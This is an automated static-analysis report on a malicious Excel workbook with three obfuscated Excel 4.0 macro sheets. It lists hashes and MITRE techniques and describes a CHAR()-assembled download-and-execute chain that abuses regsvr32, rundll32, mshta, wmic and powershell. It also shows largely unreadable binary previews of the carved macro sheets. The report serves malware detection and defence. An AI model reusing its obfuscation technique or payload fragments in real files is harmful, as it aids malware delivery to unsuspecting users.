Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 de92c849f0112cf7…

MALICIOUS

Office (OOXML)

154.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 45556fe1ba087bac644db06a88970338 SHA-1: 871c1a2dbc976da7de6a1cc606a7db9019f5a4f5 SHA-256: de92c849f0112cf769cad34c40bb13a9c3ffe50bc9bc92fdd4a5caf7d370aabc
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 macros, which are known to be used for malicious purposes. The heuristic 'XLM payload reassembled from CHAR()/split formulas' indicates that the macros are likely constructing and executing a payload, potentially downloading it from the embedded URL. The specific URL 'https://' is incomplete but suggests a network connection for payload retrieval.

Heuristics 2

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
  • XLM payload reassembled from CHAR()/split formulas critical OOXML_XLM_REASSEMBLED_PAYLOAD
    An Excel 4.0 macro sheet builds its payload inside the formula token stream by concatenating per-character CHAR() calls and string fragments, so no WinAPI name, shell command, or URL is ever contiguous in the .bin for a literal-bytes scan to find. Reassembling the formulas recovered download/execute API names, LOLBin commands (regsvr32/rundll32/mshta/wmic/powershell), or a payload URL — the de-obfuscated download-and-run kill chain.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.bin xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.bin 5899 bytes
SHA-256: a5a5a283f44af341ea536e79ac8abfdec4535cd26259fee4aaeddf6922c005d4
Preview script
First 1,000 lines of the extracted script
�  �  �   @      ��������    �      �       F   �  %      ��                  & �  �             @   d           � $                                    �  �  %      ��    & �  m     ,     �  <     8   m         < 9   9   I         < :   B   m         < C   �?  m         �  �  %      ��    &           ,        :   C     :         <         =         >         ?             @             B           %      ��    &           ,        :   C     :             <         =             >         ?             @             B       %      ��    &           ,        :   C     :         <         =         >         ?             @             B       %      ��    &           ,        :   C     :         <         =             >         ?       	     @         A         B         C       %      ��    &           ,        :   C     :         <         =       
     >         ?             @         A         B         C       %      ��    &           ,        :   F     :             <         =         >         ?         @         A         B         C         D         E         F       %      ��    &   !       ,        :   F     :       
     <         =         >         ?             A         B         C         D         E         F       %      ��    &   "       ,        :   F     :             <         =         >         ?         @         A         B         C         D         E         F       %      ��    &   #       ,        :   F     :             <         =         >             ?             @         A         B             C         D         E         F       %      ��    &   $       ,        :   F     :             =         >         ?         @         A         B             C         D         E         F       %      ��    &   %       ,        :   F     :             =         >         ?         @         A         B         C         D         E         F       %      ��    &   &       ,        :   F     :         =             >             ?         @         A         B         C         D         E         F       %      ��    &   '       ,        :   F     >         ?         @         A         B         C         D         E         F       %      ��    &   (       ,        :   F     =       
     A        FB           L   .      L d e c v s b g v r s x L x r g x g    B s       C         D         E         F       %      ��    &   )       ,        :   F     :         =             A         B         C         D         E         F       %      ��    &   *       ,        :   F     :         =             A         B         C         D         E         F       %      ��    &   +       ,        :   F     :         =             A         B         C         D         E         F       %      ��    &   ,       ,        :   F     =             A         B         C         D         E         F       %      ��    &   -       ,        :   F     A         B         C         D         E         F       %      ��    &   .       ,        :   F     A         B         C         D         E         F       %      ��    &   /       ,        :   F     A         B         C         D         E         F       %      ��    &   0       ,        5   F     A         B         C         D         E         F       %      ��    &   1       ,        5   F     5         A         B         C         D         E         F       %      ��    &   2       ,        5   F     A         B         C         D         E         F       %      ��    &   3       ,        5   F     A         B         C         D         E         F       %      ��    &   4       ,        5   F     A         B         C         D         E         F       %      ��    &   5       ,        5   F     A         B         C         D         E         F       %      ��    &   6       ,        5   F     A         B         C         D         E         F       %      ��    &   7       ,        5   F     B       %      ��    &   8       ,        5   F     B       %      ��    &   9       ,        5   F     B       %      ��    &   ;       ,     
... (truncated)
xlm_sheet_01.bin xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.bin 1158 bytes
SHA-256: b503ede42cdf904e2af5c974f8dc360e708418fa45acca6ff4722bf393f0454f
Preview script
First 1,000 lines of the extracted script
�  �  �   @      ��������    �          &   4   �  %      ��                  & �  �             @   d           � $                                    �  �  %      ��    & �  m     ,     �  < 0   4   m         �  �  %      ��    &           ,        &   2     &       %      ��    &   	       ,        &   2     &         2       %      ��    &   
       ,        &   2     2       %      ��    &           ,        &   2     2       %      ��    &           ,        &   2     2       %      ��    &   
       ,        &   2     /         2       %      ��    &           ,        &   2     /         0       %      ��    &           ,        &   2     /         0         2       %      ��    &           ,        0   3     0       %      ��    &           ,        0   3     0       %      ��    &           ,        0   3   
 0              B 6     %      ��    &           ,        0   3     0         1         3       %      ��    &           ,        0   3     0         1         3       �  � B                                                                  �  Ѓ� 0ffffff�?ffffff�?      �?      �?333333�?333333�?%      ��                  & �
xlm_sheet_02.bin xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.bin 6203 bytes
SHA-256: d31123f9a07e81ccf791dca8e5e37ecc4c2d30b43e94ccbd560bc857c4b313d4
Preview script
First 1,000 lines of the extracted script
�  �  �   @      ��������    �      #   5   ;   �  %      ��                  & �  �             @   d           � $                                    �  �  %      ��    & �  m     ,     �  < 4   4   m         < 5   ;   m         �  �  %      ��    &           ,        5   ;    � 5       $  �    �������TA   ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA   Z      ?�:      2�B `�  ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�     U Z      2� Z      ?� Z      ?� :  	   2�B `�      � 8       $  �    ��;�u')LAc  ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�  Z  &   =�Z      B� Z      2� Z  *   =� Z  	   2� Z  (   =� Z  )   =� Z  (   =� Z  
   2� Z  (   =� Z  )   =� Z  (   =� Z      2� Z  (   =� Z  ,   =� Z  )   =� Z  (   =�    h t t p s : / /  Z      2� Z  (   =� Z  )   =� Z  (   =� Z      :� Z  (   =� Z  ,   =� Z  ,   =� Z  +   =� :  	   0�B `�       � A ��A/      %      ��    &           ,        5   ;     5       %      ��    &           ,        5   ;   
)5              Z  #   B�:      2�B `�    
 8              :      0�A5     %      ��    &   	       ,        5   ;   
C5          0   Z      @�Z      @� Z      @�    B  :      2�B `�     � ;       $  �    �������TA   ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�  Z      2�Z      :� Z  #   :� Z  $   :� Z  %   :� Z  !   :� Z  "   :� Z  !   :� Z      :� Z      :� :  
   0�B `�     %      ��    &   
       ,        5   ;   
)5              Z  (   B�:      2�B `�     � ;       $  �    �������TA   ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �������TA    ��;�u')LAc   ��9��9HA�   �
... (truncated)